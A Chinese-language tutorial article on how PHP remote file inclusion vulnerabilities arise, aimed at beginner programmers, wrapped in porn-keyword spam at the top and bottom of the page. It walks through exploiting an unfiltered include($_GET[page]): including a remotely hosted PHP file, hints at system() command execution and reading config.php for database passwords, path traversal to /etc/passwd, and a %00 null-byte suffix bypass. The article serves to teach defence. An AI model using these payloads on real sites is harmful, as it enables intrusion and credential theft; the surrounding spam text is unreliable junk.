成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

是什么造成PHP遠程文件包含漏洞產生

開發 后端
遠程文件包含漏洞,就是服務器通過PHP的任意文件包含過濾不嚴,從而去執行一個惡意文件,這是程序過濾上的問題。本文介紹了產生PHP遠程文件包含漏洞產生的原因,希望能給大家到來幫助。

對于初級PHP程序員來說,對于PHP的安全性還不能完全掌握。首先我們需要了解致使程序漏洞的原理。下面我們就來介紹一下PHP遠程文件包含漏洞的產生原因。

首先的問題是,什么才是”遠程文件包含漏洞“?簡要的回答是服務器通過PHP的任意文件包含過濾不嚴,從而去執行一個惡意文件,這是個程序員過濾上的問題,請記住,所有的cgi程序都有這樣的bug。

1.找出PHP遠程文件包含漏洞bug:

為了發現目標,我們首先要知道包含兩個字的含義,在所有語言里(大多數)都有這種方法包含任意的文件。在PHP里,我們使用include()函數,它的工作流程:

如果你在Main.PHP里包含include1.PHP,我將這樣寫include("include1.PHP").不是很科學,但你要知道其中的道理。

我們先看這個,當用戶輸入通過后就包含文件,也就是

  1. if ($_GET[page]) {  
  2. include $_GET[page];  
  3. else {  
  4. include "home.PHP";  

 

這種結構在動態網站里是常見的,問題是它允許這樣 [url]hxxp://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url]來查看。無論如何,如果你的程序里有這樣的bug也很悲哀了,只能怪你,盡管只是一句過濾的問題,但就是這一句過濾就有了Script hacker.在zone-h.org的調查里,文件包含的攻擊率占到9.4%,足夠我們引起重視,而且它也不是一兩天的問題,幾年前就有了,但到了今天,一批一批程序員依舊走老路重走,所以就有了這篇文章,在2004年寫這樣的文章已經老掉牙,但我還是要寫,畢竟牢騷能讓人收益的時候就不叫牢騷了。

2.測試

這里有個遠程文件包含的例子,目的只有一個,為了你的程序安全,我們來看具體的

 

  1. [url]hxxp://www.target.com/explame.PHP?page=zizzy[/url]  
  2.  
  3. Warning: main(zizzy): failed to open stream: No such file or directory  
  4.  
  5. in /var/www/htdocs/index.PHP on line 3  
  6.  
  7. Warning: main(): Failed opening 'zizzy' for inclusion  
  8.  
  9. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/index.PHP on line 3 

 

PHP輸出的這些錯誤信息告訴我們,程序去包含文件/var/www/htdocs/zizzy,但沒找到,看見了吧,No such file or directory沒這樣的文件,現在理解PHP遠程文件包含漏洞了吧。

3.利用

PHP確實很好,可以遠程調用文件,那我創建一個yeah.txt,放在我的站上[url]hxxp://www.mysite.com/yeah.txt.[/url]內容這樣

  1. < ?  
  2. echo "Wow,test!";  
  3. ?> 

 

那么

  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] 

 

回顯Wow,test!,這樣就執行了。讀取config.PHP也不難吧,里面放了mysql密碼啊。把yeah.txt寫成看看,寫成system()去試試,有什么感想,在過分點,這樣提交page=../../../../../../../etc /passwd。知道什么叫真正的包含了吧。

4.另一種PHP遠程文件包含漏洞的原理

有時程序員換種寫法,寫成這樣,限制了包含范圍

  1. if ($_GET[page]) {  
  2. include "$_GET[page].PHP";  
  3. }   
  4. else   
  5. {  
  6. include "home.PHP";  

 

我們提交

  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]  
  2.  
  3. Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream:  
  4.  
  5. hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  
  6.  
  7. Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion  
  8.  
  9. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3 

 

包含失敗了,限制了后綴名為PHP,把mysite.com的yeah.txt改為yeah.PHP,然后照樣執行。那passwd怎么辦?

 

  1. Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request  
  2.  
  3. failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  
  4.  
  5. Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion  
  6.  
  7. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3 

 

在這里使用個NUL字符,也就是%00來跳過檢測

 

  1. [url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] 

 

看見了吧。

包含文件時最好指定好包含哪一個文件,或者過濾好提交的的變量,這也就是這篇PHP遠程文件包含漏洞文章的目的,不是寫給hacking的人看,而是寫給那些初涉程序員的人,這樣的文章網上很多,只要有人受益,也就達到目的了。

【編輯推薦】

  1. 優秀的PHP開發者是怎樣煉成的?
  2. PHP開發者常犯的10個MySQL錯誤
  3. 10個免費的PHP腳本資源下載網站推薦
  4. 系統性能的調優:優化Apache和PHP
責任編輯:于鐵 來源: 賽迪網
相關推薦

2009-12-09 09:49:40

2009-07-06 17:47:44

2012-04-12 16:05:50

2013-07-03 11:28:47

2010-09-14 17:49:14

溢出漏洞

2012-03-10 21:22:57

Lumia

2018-05-23 21:19:44

云計算企業云支出

2015-04-02 16:26:39

漏洞檢測工具Kadimus

2009-12-04 15:42:57

PHP文件緩存

2023-07-31 00:13:21

2014-07-31 11:33:11

2023-05-29 14:47:46

語音詐騙漏洞人工智能

2021-11-08 07:26:36

Vailyn漏洞安全工具

2025-02-21 08:10:00

漏洞網絡安全網絡攻擊

2009-11-22 15:28:35

2025-05-28 08:05:00

stdclassPHP開發

2012-02-06 09:14:26

2017-09-06 11:21:53

2010-09-13 17:57:12

執行漏洞

2009-10-21 14:31:15

漏洞補丁
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品久久国产精品 | 久久国产精品视频免费看 | 久久久女女女女999久久 | 精品福利在线 | 成人av电影免费在线观看 | 久久草在线视频 | 国产精品久久久久久婷婷天堂 | 高清18麻豆 | 国产美女久久 | 免费看啪啪网站 | 中文字幕不卡在线观看 | 日韩 欧美 综合 | 日韩高清一区 | 99精品国产成人一区二区 | 狠狠色综合网站久久久久久久 | 久久日本| 91久久久久久 | 日本精品在线观看 | 亚洲不卡在线观看 | 99久久精品免费视频 | 日韩视频在线观看一区二区 | av免费网| 欧美日韩一区二区在线 | 免费观看av| av中文字幕在线 | 91av在线免费观看 | 9999视频 | 羞羞网站在线免费观看 | 一区福利视频 | 在线观看av网站永久 | 国产一区二区三区四区三区四 | 国产免费观看视频 | 亚洲视频在线观看一区二区三区 | 久久伊人青青草 | 国产精品视频一二三区 | 欧美极品在线播放 | 欧美一级在线观看 | 亚洲国产欧美在线人成 | 一区二区三区精品在线视频 | 亚洲精品乱码久久久久久按摩 | 久久精品国产久精国产 |